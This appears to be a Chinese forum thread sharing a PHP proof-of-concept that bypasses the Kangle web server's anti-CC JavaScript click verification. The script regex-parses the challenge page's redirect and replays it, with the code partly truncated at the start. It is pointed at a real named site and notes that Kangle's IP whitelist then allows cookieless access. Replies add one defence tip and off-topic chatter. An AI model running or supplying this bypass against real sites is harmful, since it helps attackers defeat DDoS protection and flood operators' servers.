kangle防cc JS点击验证 绕过过程 poc

tting

Kangle默认的点击验证很简单 通过正则匹配即可完全bypass 其次kangle存在ip白名单 如短时间内通过一次验证 则无需cookie也可直接访问网站内容

贴上POC

$value) {
if ($urlencode) {
$temp .= rawurlencode(rawurlencode($key)) . ‘=’ . rawurlencode(rawurlencode($value)) . ‘&’;
} else {
$temp .= $key . ‘=’ . $value . ‘&’;
}
}
$requestData = substr($temp, 0, strlen($temp) – 1);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $requestData);
}

$result = curl_exec($ch);

curl_close($ch);

return $result;
}

function isSafe($html)
{
return preg_match(‘/安全防护系统/’, $html) == 1;
}

function getSafeUrl($cookie_jar,$url)
{
$data = curl($cookie_jar,$url);

if (isSafe($data)) {
preg_match(‘/location.href =(.+);/’, $data, $result);
if (count($result) == 2) {
$result = $result[1];
$result = preg_replace(‘/”|\+/’, ”, $result);
$result = preg_replace(‘/\s/’, ”, $result);
return $url . $result;
}
}
return ”;
}
echo curl($cookie_jar,getSafeUrl($cookie_jar,”https://www.wafcloud.net/”));

tting

防御方式也很简单 最起码js稍微混淆一下。

coolday

很少人用kangle了吧

luckyroach

小奶狗 发表于 2018-12-26 22:23

小樱早就写出来了，加个注悉就很6吗
小樱是谁？

小奶狗

"

小樱都不认识啊，玩Kangle最溜的那个，itzmx。你是发福吗。

tting

Titan 发表于 2019-1-13 22:52

小樱都不认识啊，玩Kangle最溜的那个，itzmx。你是发福吗。
不用kangle啊。。